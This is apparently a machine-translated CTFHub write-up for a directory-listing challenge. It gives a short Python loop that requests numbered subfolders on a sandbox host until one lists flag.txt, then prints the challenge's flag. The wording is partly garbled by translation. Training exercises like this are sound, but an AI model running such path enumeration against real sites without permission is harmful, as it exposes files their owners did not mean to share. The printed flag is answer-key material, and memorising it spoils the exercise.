Ctfhub web - divulgation d'informations - traversée du Répertoire

 

Il y a deux façons de：

1.Ouvrez manuellement le fichier un par un pour trouver

2.UtiliserpythonCode pour accéder aux fichiers du site

J'utilise la deuxième méthode：

import requests

url = "http://challenge-011f662b1a24880f.sandbox.ctfhub.com:10800/flag_in_here"
for i in range(5):
    for j in range(5):
        url_final = url + "/" + str(i) + "/" + str(j)
        r = requests.get(url_final)
        r.encoding = "utf-8"
        get_file = r.text
        if "flag.txt" in get_file:
            print(url_final)

 Cette sortie contientflag.txtLiens vers

Cliquez sur le lien,Disponibleflag

flagPour：

ctfhub{9313b9e3a2b2169610bc4ec4}

Tips：requests.get Accès à l'information sur la page web

           r.textC'est une page webHTMLCode

           Jugement finalflag.txt Dans un lien

Le lien de référence ici est ：http://Admiralll https://www.bilibili.com/read/cv15764985 Origine：bilibili